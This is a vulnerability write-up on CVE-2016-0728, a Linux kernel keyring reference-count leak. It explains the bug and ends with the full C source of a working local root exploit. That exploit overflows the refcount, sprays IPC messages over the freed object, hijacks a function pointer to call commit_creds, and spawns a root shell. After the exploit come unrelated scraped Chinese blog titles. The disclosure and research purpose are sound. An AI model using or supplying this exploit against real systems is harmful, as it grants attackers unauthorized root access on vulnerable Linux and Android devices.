ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728)

By Perception Point Research Team

Introduction

The Perception Point Research team has identified a 0-day local privilege escalation vulnerability in the Linux kernel. While the vulnerability has existed since 2012, our team discovered the vulnerability only recently, disclosed the details to the Kernel
security team, and later developed a proof-of-concept exploit. As of the date of disclosure, this vulnerability has implications for approximately tens of millions of Linux PCs and servers, and 66 percent of all Android devices (phones/tablets). While neither
us nor the Kernel security team have observed any exploit targeting this vulnerability in the wild, we recommend that security teams examine potentially affected devices and implement patches as soon as possible.

In this write-up, we’ll discuss the technical details of the vulnerability as well as the techniques used to achieve kernel code execution using the vulnerability. Ultimately, the PoC provided
successfully escalates privileges from a local user to root.

The Bug

CVE-2016-0728 is caused by a reference leak in the keyrings facility. Before we dive into the details,
let’s cover some background required to understand the bug.

Quoting directly from its manpage, the keyrings facility is primarily a way for drivers to retain or cache security data, authentication keys, encryption keys and other data in the kernel. System call interfaces – keyctl syscall (there
are two other syscalls that are used for handling keys: add_key and request_key. keyctl, however, is definitely the most important one for this write-up.) are provided so that userspace programs can manage those objects and use the facility for their own purposes.

Each process can create a keyring for the current session usingkeyctl(KEYCTL_JOIN_SESSION_KEYRING, name)  and can choose to either assign a name to the keyring or not by passing NULL. The keyring object can be shared
between processes by referencing the same keyring name. If a process already has a session keyring, this same system call will replace its keyring with a new one. If an object is shared between processes, the object’s internal refcount, stored in a field called usage,
is incremented. The leak occurs when a process tries to replace its current session keyring with the very same one. As we see in the next code snippet, taken from kernel version 3.18, the execution jumps to error2 label which skips the
call tokey_put and leaks the reference that was increased by find_keyring_by_name.

  long
join_session_keyring(constchar *name)
  {
  ...
  new = prepare_creds();
  ...
  keyring = find_keyring_by_name(name,false);//find_keyring_by_name increments keyring->usage if
a keyring was found
  if (PTR_ERR(keyring) == -ENOKEY) {
  /* not found - try and create a new one */
  keyring = keyring_alloc(
  name, old->uid, old->gid, old,
  KEY_POS_ALL | KEY_USR_VIEW | KEY_USR_READ | KEY_USR_LINK,
  KEY_ALLOC_IN_QUOTA, NULL);
  if (IS_ERR(keyring)) {
  ret = PTR_ERR(keyring);
  goto error2;
  }
  } else
if (IS_ERR(keyring)) {
  ret = PTR_ERR(keyring);
  goto error2;
  } else
if (keyring == new->session_keyring) {
  ret = 0;
  goto error2;
//<-- The bug is here, skips key_put.
  }
   
  /* we've got a keyring - now install it */
  ret = install_session_keyring_to_cred(new, keyring);
  if (ret <
0)
  goto error2;
   
  commit_creds(new);
  mutex_unlock(&key_session_mutex);
   
  ret = keyring->serial;
  key_put(keyring);
  okay:
  return ret;
   
  error2:
  mutex_unlock(&key_session_mutex);
  error:
  abort_creds(new);
  return ret;
  }
view
raw
process_keys.c hosted with  by GitHub

Triggering the bug from userspace is fairly straightforward, as we can see in the following code snippet:

  /* $ gcc leak.c -o leak -lkeyutils -Wall */
  /* $ ./leak */
  /* $ cat /proc/keys */
   
  #include
<stddef.h>
  #include
<stdio.h>
  #include
<sys/types.h>
  #include
<keyutils.h>
   
  int
main(int argc,
const char *argv[])
  {
  int i =
0;
  key_serial_t serial;
   
  serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING,"leaked-keyring");
  if (serial <
0) {
  perror("keyctl");
  return -1;
  }
   
  if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) <0) {
  perror("keyctl");
  return -1;
  }
   
  for (i =
0; i < 100; i++) {
  serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING,"leaked-keyring");
  if (serial <
0) {
  perror("keyctl");
  return -1;
  }
  }
   
  return
0;
  }
view
raw
leak.c hosted with  by GitHub

which results the following output having leaked-keyring 100 references:

Exploiting the Bug

Even though the bug itself can directly cause a memory leak, it has far more serious consequences. After a quick examination of the relevant code flow, we found that the usage field used to store the reference count for the object is of
type atomic_t, which under the hood, is basically an int – meaning 32-bit on both 32-bit and 64-bit architectures. While every integer is theoretically possible to overflow, this particular observation makes practical exploitation of this bug as a way to overflow
the reference count seem feasible. And it turns out no checks are performed to prevent overflowing the usage field from wrapping around to 0.

If a process causes the kernel to leak 0x100000000 references to the same object, it can later cause the kernel to think the object is no longer referenced and consequently free the object. If the same process holds another legitimate reference and uses it
after the kernel freed the object, it will cause the kernel to reference deallocated, or a reallocated memory. This way, we can achieve a use-after-free, by using the exact same bug from before. A lot has been written on use-after-free vulnerability exploitation
in the kernel, so the following steps wouldn’t surprise an experienced vulnerability researcher. The outline of the steps that to be executed by the exploit code is as follows:

  1. Hold a (legitimate) reference to a key object
  2. Overflow the same object’s usage
  3. Get the keyring object freed
  4. Allocate a different kernel object from user-space, with a user-controlled content, over the same memory previously used by the freed keyring object
  5. Use the reference to the old key object and trigger code execution

Step 1 is completely out of the manpage, step 2 was explained earlier. Let’s dive into the technical details of the rest of the steps.

Overflowing usage Refcount

This step is actually an extension of the bug. The usage field is of int type which means it has a max value of 2^32 both on 32-bit and 64-bit architectures. To overflow the usage field we have
to loop the snippet above 2^32 times to get usage to zero.

Freeing keyring object

There are a couple of ways to get the keyring object freed while holding a reference to it.  One possible way is using one process to overflow the keyring usage field to 0 and getting the object freed by the Garbage Collection algorithm inside the keyring subsystem
which frees any keyring object the moment the usage counter is 0.

One caveat though, if we look at the join_session_keyring function prepare_creds also increments the current session keyring and abort_creds or commit_creds decrements it respectively. The problem
is that abort_creds doesn’t decrement the keyring’s usage field synchronically but it is called later using rcu job, which means we can overflow the usage counter without
knowing it was overflowed. It is possible to solve this issue by using sleep(1) after each call to join_session_keyring, of course it is not feasible to sleep(2^32) seconds. A feasible work around will be to use a variation of the divide-and-conquer
algorithm and to sleep after 2^31-1 calls, then after 2^30-1 etc… this way we never overflow unintentionally because the maximum value of refcount can be double the value it should be if no jobs where called.

Allocating and controlling kernel object

Having our process point to a freed keyring object, now we need to allocate a kernel object that will override the freed keyring object. That will be easy thanks to how SLAB memory works, allocating many objects of the keyring size
just after the object is freed. We choose to use the Linux IPC subsystem to send messages of size 0xb8 – 0x30  when 0xb8 is the size of the keyring object and 0x30 is the size of a message header.

  if ((msqid = msgget(IPC_PRIVATE,0644 | IPC_CREAT)) == -1) {
  perror("msgget");
  exit(1);
  }
  for (i =
0; i < 64; i++) {
  if (msgsnd(msqid, &msg,sizeof(msg.mtext),0)
== -1) {
  perror("msgsnd");
  exit(1);
  }
  }

This way we control the lower 0x88 bytes of the keyring object.

Gaining kernel code execution

From here it’s pretty easy thanks to the struct key_type inside the keyring object which contains many function pointers. An interesting function pointer is the revoke function pointer which can be invoked using the keyctl(KEY_REVOKE,
key_name) syscall. The following is the Linux kernel snippet calling the revoke function:

   
  void
key_revoke(struct key *key)
  {
  . . .
  if (!test_and_set_bit(KEY_FLAG_REVOKED, &key->flags) &&
  key->type->revoke)
  key->type->revoke(key);
  . . .
  }
view
raw
key.c hosted with  by GitHub

The keyring object should be filled as follows:



The uid and flags attributes should be filled that way to pass a few control check until the execution gets to key->type->revoke. The type field should point to a user-space struct containing the function pointers
with revoke pointing to a function that will be executed with root privileges. Here is a code snippet that demonstrates this.

  typedef
int __attribute__((regparm(3))) (* _commit_creds)(unsignedlong
cred);
  typedef
unsigned long
__attribute__((regparm(3))) (* _prepare_kernel_cred)(unsignedlong cred);
   
  struct key_type_s {
  void * [12] padding;
  void *
revoke;
  } type;
   
  _commit_creds commit_creds = 0xffffffff81094250;
  _prepare_kernel_cred prepare_kernel_cred = 0xffffffff81094550;
   
  void
userspace_revoke(void * key) {
  commit_creds(prepare_kernel_cred(0));
  }
   
  int
main(int argc,
const char *argv[]) {
  ...
  struct key_type * my_key_type =NULL;
  ...
  my_key_type = malloc(sizeof(*my_key_type));
  my_key_type->revoke = (void*)userspace_revoke;
  ...
  }
view
raw
use_after_free.c hosted with  by GitHub

Addresses of commit_creds and prepare_kernel_cred functions are static and can be determined per Linux kernel version/android device.

Now the last step is of course:

  execl("/bin/sh",NULL);
view
raw
get_root.c hosted with  by GitHub

here is a link to the full exploit which runs on kernel 3.18 64-bit, following is the output of
running the full exploit which takes about 30 minutes to run on Intel Core i7-5500 CPU (Usually time is not an issue in a privilege escalation exploit):

Mitigations & Conclusions

The vulnerability affects any Linux Kernel version 3.8 and higher.  SMEP & SMAP will make it difficult to exploit as well as SELinux on android devices. Maybe we’ll talk about tricks to bypass those mitigation in upcoming blogs, anyway the most important thing
 for now is to patch it as soon as you can.

Thanks to David Howells, Wade Mealing and the whole Red Hat Security team for that fast response and the cooperation fixing the bug.

Perception Point Research Team

raw code:

/* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */
/* $ ./cve_2016_072 PP_KEY */ #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h> #include <sys/ipc.h>
#include <sys/msg.h> typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred; #define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81094250)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81094550) struct key_type {
char * name;
size_t datalen;
void * vet_description;
void * preparse;
void * free_preparse;
void * instantiate;
void * update;
void * match_preparse;
void * match_free;
void * revoke;
void * destroy;
}; void userspace_revoke(void * key) {
commit_creds(prepare_kernel_cred(0));
} int main(int argc, const char *argv[]) {
const char *keyring_name;
size_t i = 0;
unsigned long int l = 0x100000000/2;
key_serial_t serial = -1;
pid_t pid = -1;
struct key_type * my_key_type = NULL; struct { long mtype;
char mtext[STRUCT_LEN];
} msg = {0x4141414141414141, {0}};
int msqid; if (argc != 2) {
puts("usage: ./keys <key_name>");
return 1;
} printf("uid=%d, euid=%d\n", getuid(), geteuid());
commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR; my_key_type = malloc(sizeof(*my_key_type)); my_key_type->revoke = (void*)userspace_revoke;
memset(msg.mtext, 'A', sizeof(msg.mtext)); // key->uid
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
//key->perm
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f; //key->type
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type; if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
} keyring_name = argv[1]; /* Set the new session keyring before we start */ serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
if (serial < 0) {
perror("keyctl");
return -1;
} if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
perror("keyctl");
return -1;
} puts("Increfing...");
for (i = 1; i < 0xfffffffd; i++) {
if (i == (0xffffffff - l)) {
l = l/2;
sleep(5);
}
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
sleep(5);
/* here we are going to leak the last references to overflow */
for (i=0; i<5; ++i) {
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
} puts("finished increfing");
puts("forking...");
/* allocate msg struct in the kernel rewriting the freed keyring object */
for (i=0; i<64; i++) {
pid = fork();
if (pid == -1) {
perror("fork");
return -1;
} if (pid == 0) {
sleep(2);
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
for (i = 0; i < 64; i++) {
if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
perror("msgsnd");
exit(1);
}
}
sleep(-1);
exit(1);
}
} puts("finished forking");
sleep(5); /* call userspace_revoke from kernel */
puts("caling revoke...");
if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
perror("keyctl_revoke");
} printf("uid=%d, euid=%d\n", getuid(), geteuid());
execl("/bin/sh", "/bin/sh", NULL); return 0;
}

https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f

ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728)的更多相关文章

  1. How to exploit the x32 recvmmsg() kernel vulnerability CVE 2014-0038

    http://blog.includesecurity.com/2014/03/exploit-CVE-2014-0038-x32-recvmmsg-kernel-vulnerablity.html ...

  2. Android linux kernel privilege escalation vulnerability and exploit (CVE-2014-4322)

    In this blog post we'll go over a Linux kernel privilege escalation vulnerability I discovered which ...

  3. karottc A Simple linux-virus Analysis、Linux Kernel <= 2.6.37 - Local Privilege Escalation、CVE-2010-4258、CVE-2010-3849、CVE-2010-3850

    catalog . 程序功能概述 . 感染文件 . 前置知识 . 获取ROOT权限: Linux Kernel <= - Local Privilege Escalation 1. 程序功能概述 ...

  4. Linux Kernel Schduler History And Centos7.2's Kernel Resource Analysis

    本文分为概述.历史.el7.2代码架构图解三部分. 解决的问题: a.Kernel调度发展过程: b.以架构图的方式,详解el7.2具体调度实现.内核线程模型.调度时间片计算,以及探究整个Kernel ...

  5. Linux Overflow Vulnerability General Hardened Defense Technology、Grsecurity/PaX

    Catalog . Linux attack vector . Grsecurity/PaX . Hardened toolchain . Default addition of the Stack ...

  6. andriod and linux kernel启动流程

    虽然这里的Arm Linux kernel前面加上了Android,但实际上还是和普遍Arm linux kernel启动的过程一样的,这里只是结合一下Android的Makefile,讲一下boot ...

  7. ARM64 Linux kernel virtual address space

    墙外通道:http://thinkiii.blogspot.com/2014/02/arm64-linux-kernel-virtual-address-space.html Now let's ta ...

  8. Linux Kernel - Debug Guide (Linux内核调试指南 )

    http://blog.csdn.net/blizmax6/article/details/6747601 linux内核调试指南 一些前言 作者前言 知识从哪里来 为什么撰写本文档 为什么需要汇编级 ...

  9. [轉]Exploit Linux Kernel Slub Overflow

    Exploit Linux Kernel Slub Overflow By wzt 一.前言 最近几年关于kernel exploit的研究比较热门,常见的内核提权漏洞大致可以分为几类: 空指针引用, ...

随机推荐

  1. Laravel 基础知识

    使用版本Laravel5.1.======================================================目录简单介绍:app目录,核心目录,应用目录.bootstra ...

  2. spring boot--日志、开发和生产环境切换、自定义配置(环境变量)

    Spring Boot日志常用配置: # 日志输出的地址:Spring Boot默认并没有进行文件输出,只在控制台中进行了打印 logging.file=/home/zhou # 日志级别 debug ...

  3. 图片点击放大并可点击旋转插件(1)-jquery.artZoom.js

    1.首先加入链接: <script type="text/javascript" src="js/jquery-1.6.1.min.js">< ...

  4. 关于[WinError 10054] 远程主机强迫关闭了一个现有的连接。

    之前一直用python实现qq邮箱自动发送,都弄的好好的,然后今天一打开,就出现如题的错误,百度了许多,说,可能发送邮件次数过多,被当作是攻击,建议换个邮箱,换了也不行, 最后用手机给电脑分享Wifi ...

  5. 输入框为数字类型时防止maxlength属性不起作用

    <input type="number" oninput="if(value.length>5)value=value.slice(0,5)" /& ...

  6. 2016-2017 ACM-ICPC Southeastern European Regional Programming Contest (SEERC 2016)

    题目链接  Codefores_Gym_101164 Solved  6/11 Penalty Problem A Problem B Problem C Problem D Problem E Pr ...

  7. Kafka应用实践与生态集成

    1.前言 Apache Kafka发展至今,已经是一个很成熟的消息队列组件了,也是大数据生态圈中不可或缺的一员.Apache Kafka社区非常的活跃,通过社区成员不断的贡献代码和迭代项目,使得Apa ...

  8. 洛谷——P2658 汽车拉力比赛

    P2658 汽车拉力比赛 题目描述 博艾市将要举行一场汽车拉力比赛. 赛场凹凸不平,所以被描述为M*N的网格来表示海拔高度(1≤ M,N ≤500),每个单元格的海拔范围在0到10^9之间. 其中一些 ...

  9. Android gradle 相关配置

    有时候我们需要重命名输出apk文件名,在Android studio 3.0以前我们是这样写的: applicationVariants.all { variant -> variant.out ...

  10. 【bootstrap】使用支持bootstrap的时间插件daterangepicker

    其中的架包和代码,具体可以去GitHub下查看: https://github.com/AngelSXD/myagenorderdiscount 1.引入js和css <link href=&q ...